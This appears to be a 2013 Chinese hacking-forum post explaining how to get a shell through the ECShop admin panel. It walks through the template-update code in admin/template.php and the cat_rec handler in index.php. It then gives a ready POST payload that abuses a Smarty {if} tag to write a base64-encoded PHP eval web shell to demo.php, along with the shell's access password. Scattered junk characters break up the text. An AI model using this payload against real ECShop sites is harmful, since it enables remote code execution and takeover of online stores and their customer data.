找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3004|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
: ]4 p" I, |( B" D9 l3 T5 B1 f" c; ]; c4 E; a% ^8 u9 Y
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了; e9 H6 a' t% _) s
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
1 n2 a$ {6 q5 |# e& c) _" E7 ^admin/template.php) W. w" ]. Q/ o: @& ?# k" v

4 g4 n: W# n. S) B. ?! z1 if ($_REQUEST['act'] == 'update_library') " }7 Z$ T2 x6 e% x  y% D

( c" w4 t# Q, i( k! A# I2   3 E" k- S# u/ A. T  L$ C8 y. k

1 t7 V- A; v4 K0 o$ u  F9 d$ l3 {
, t. a7 n- W8 s. W) n1 z5 h0 N+ q* H2 A- r- {: y
4     check_authz_json('library_manage');
" j  D9 U; W$ |: m# {  o
+ I. \6 Q( F4 E8 r8 }5   
. r3 s/ ~9 z! M: W( y; L* ?* G  ?5 E# h5 N
6     $html = stripslashes(json_str_iconv($_POST['html']));
/ t) [, L# I) d9 r
* R2 }" o7 T' G$ E9 u7   . H9 O. ?# U& U9 C; N

: I- ~$ w: s; B0 i) }1 u5 z8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 2 g; J/ T/ v( P6 D# J
5 X4 [( m4 e# _0 A  X
9   2 ~, B* m$ f2 ^, p4 a
# t$ j5 m  }/ s7 k- |4 l0 y7 |
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 % x) o2 m1 p* \9 k. d! t8 X

: I- W- I% F/ o2 r8 s11   , A% L% G2 o3 E6 B, L5 m

1 ^) i1 w; C' [3 @5 s! p12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ( n. ^# ^6 G; z& U* I

; W: l/ [# c0 X2 w* C4 m13   - @6 K7 R0 `- P' I! E; }; s; h
) s. T" N5 z1 N6 q
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
; t2 ?0 g5 k0 z% n* L. N9 ?8 D' E) J( \. q* V
15     {
+ [0 ]  H) E6 A2 w9 p: N' D$ f( K7 u7 c! B  M
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); - z0 J& J" U; o; J6 ?9 Y" \% v9 y; J

9 u  ]' k- E8 b. Y) l+ ^6 G17         make_json_result('', $_LANG['update_lib_success']); 0 x* a7 J1 n2 U( k9 o& v0 i
* e# o. ^+ i# D4 }
18     }
3 e( E5 |1 a+ ^4 U$ o
, U; U8 u7 x" D9 J: X% y19     else , h1 B, E# @( ~

, w. J  D5 }% @. E" R20     { 5 V+ ~; O$ g& ~

* X; [. T, Z& {$ p8 w5 s$ V21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
, R/ F( S  k7 H8 Y$ d
+ E9 A: \3 `6 U) j- ~0 b1 P22     } ! R9 l% a0 }4 E2 c  U5 L* j

# _) r7 H: ?: O9 v8 `' q23 } 4 k7 s0 y& ]! z2 ~
8 B" t: Y  o# f" n; z5 s- z+ J
那么找个比较方便调用了模板的文件
( T. H  P$ C& w0 a2 |* l* |index.php
& k6 e/ D+ Z/ T: b5 q. c6 d! `6 C/ d" k& m9 @* }9 L
1 if ($act == 'cat_rec')
/ r& B+ U# X$ U: ]3 m& Q. p, a7 P: c5 h7 V- H
2   
& s, V/ W0 `9 X/ r/ `5 S# s+ J) W( c, f# }
3 {
! f/ [! F$ l4 U3 U* V! W1 g, M! h+ x/ M
4   
( g+ D& o: N0 x2 I- v% _% s# k+ v8 {% d
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); : w; c5 E  w) T4 ~; x3 q8 g

8 o) F* ~5 J8 k6 o+ S% g6   5 f9 C0 p  O# F5 d3 o. R

+ @. v- H( d; B% o1 @7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
. e/ V2 p% v; e$ U* H3 c3 _& [( }. Q$ B
) p( U' `$ K; c8   
3 x( k! _: I) ^; E) z( U9 O' {9 v
  t+ Q, d- O2 R4 I( i- g! P% E9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';   Q: |/ {  s9 \% p) K# j* h

- U! `- O) ^+ `& h& ?7 u7 H/ W10   : @+ t7 ^$ M) \2 Q7 m7 r$ ^
( R9 @& L" H/ s: Z
11     include_once('includes/cls_json.php');
5 c7 ^( Q# F% E. L
7 `8 F+ v$ X4 V7 f* F' E12   
0 z+ l# T) w1 a* s. R
6 U1 ~+ H5 F; @/ U2 _, z13     $json = new JSON;
- h6 o, T# G4 K  v8 @& n  @- G2 C+ ^6 {! u
14   
7 z! y3 M# T' M: O0 r7 w9 [
( I* a) ?2 n) R1 J( `& q; K15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); " p" J* w, m' n6 V* r! w

: q5 W4 I) A% u5 B16   
1 `" d4 a3 }/ k. A" c7 ?0 P* ^6 C2 V, k! A% ~4 Y8 m( l
17     $children = get_children($cat_id); - ~! c- J8 R+ Y3 [
* p( Y: T* S# V4 Y3 w7 N9 s
18   3 }. d9 i5 _' p( a9 Y" q

' r+ x/ c9 ]& P1 a7 Y6 ?, F19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
( c' y  Z* D' H  C9 K
5 q7 z5 _3 C  h, W8 s20   . z/ o: f8 x) p: a: p* b- f* S
+ j8 \' @- W. u- L6 u
21     $smarty->assign('cat_rec_sign', 1); 7 w3 b) |' l3 K

8 H9 I- n$ D! U22   
$ a! f+ L( q6 R( b0 l: s  g' d+ L+ r, c/ W6 v
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
$ H/ O7 {* l( |# D" {! j0 _
# r; j& f+ B  @0 W  A# [* A' E2 D' p% k$ P24   1 i( m7 x7 F" y% R

2 s( E9 @) S8 C  P- d25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; # Z7 h) W5 p5 z% A$ ^
% k! {+ Z$ p/ k  N0 `: t5 H
26   
% _% q* m) L  @6 G& G4 c2 Z# C) Z: b, P6 V8 v+ D
27         echo $rec_array[$rec_type];
' D$ @7 F' ~& e4 S% Y( Z) v0 P
1 o, q+ @) B# Y; h$ X28   7 \) g; g, U2 ~! ]7 @+ @/ w( \
& M  f: L7 C' k. c; A) D% j
29     die($json->encode($result));
) Y) p; Z# d2 k5 f5 e0 s; a" v+ p& k' D" }4 H8 I$ j* [
30   0 N$ d; G4 ?# R3 n& n
$ D# f( x( i. N) G: {
31 }
7 }4 ~5 I: K, Q4 ^6 v- c2 `7 W+ k. h; Y7 R
那么就有利用方法了
: I9 J) L" G1 y( F. ~7 E6 epost包到http://localhost/ec/admin/template.php?act=update_library" `1 h, G& x" o( ~, K) D5 [% `- u
Post内容:* z/ p+ i' ?! q4 b& O% F

! [: J# L0 q. |- I( _) l9 b( P, ^& a+ M​; S/ v; \, g3 B  L* R( W2 b9 |
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} . d5 g9 ]4 s$ g* |0 n
1 O# v" F) q4 {; O0 i8 a1 ?' _
然后访问http://localhost/ec/index.php?act=cat_rec/ m. y5 Q' q# C3 ?( t

5 X' Z$ {: g. ]" z* z. Jshel地址:http://localhost/ec/demo.php
) N1 B# l6 ]( T0 M  E# Z密码c
0 w) {( b" i7 Y5 U4 l) R3 d5 ]1 R4 Q. q9 O# w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表